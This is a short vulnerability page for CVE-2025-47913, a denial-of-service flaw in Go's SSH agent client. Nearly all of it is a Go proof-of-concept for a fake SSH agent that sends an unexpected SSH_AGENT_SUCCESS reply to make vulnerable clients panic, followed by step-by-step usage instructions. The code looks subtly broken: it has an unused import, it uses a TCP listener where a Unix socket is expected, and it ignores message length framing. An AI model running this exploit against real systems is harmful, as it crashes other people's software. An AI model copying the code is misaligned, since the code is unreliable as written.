CVE-2025-47913: Go语言SSH客户端SSH_AGENT_SUCCESS响应处理拒绝服务漏洞

package main import ( "net" "fmt" "github.com/google/uuid" ) // SSH Agent Protocol Message Types const ( SSH_AGENTC_REQUEST_IDENTITIES = 11 SSH_AGENT_SUCCESS = 6 ) // PoC: Malicious SSH Agent Server that sends SSH_AGENT_SUCCESS // when client expects SSH_AGENT_IDENTITIES_ANSWER func main() { listener, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { panic(err) } defer listener.Close() fmt.Printf("Malicious SSH Agent listening on %s\n", listener.Addr()) for { conn, err := listener.Accept() if err != nil { continue } go handleConnection(conn) } } func handleConnection(conn net.Conn) { defer conn.Close() buffer := make([]byte, 1024) for { n, err := conn.Read(buffer) if err != nil { return } if n > 0 && buffer[0] == SSH_AGENTC_REQUEST_IDENTITIES { // Send SSH_AGENT_SUCCESS instead of SSH_AGENT_IDENTITIES_ANSWER // This will trigger panic in vulnerable SSH client response := []byte{SSH_AGENT_SUCCESS, 0, 0, 0} conn.Write(response) fmt.Println("Sent malicious SSH_AGENT_SUCCESS response") } } } // Usage: // 1. Start this malicious agent server // 2. Set SSH_AUTH_SOCK to point to this server // 3. Run vulnerable Go SSH client that calls agent.RequestIdentities() // 4. Client will panic due to unexpected SSH_AGENT_SUCCESS message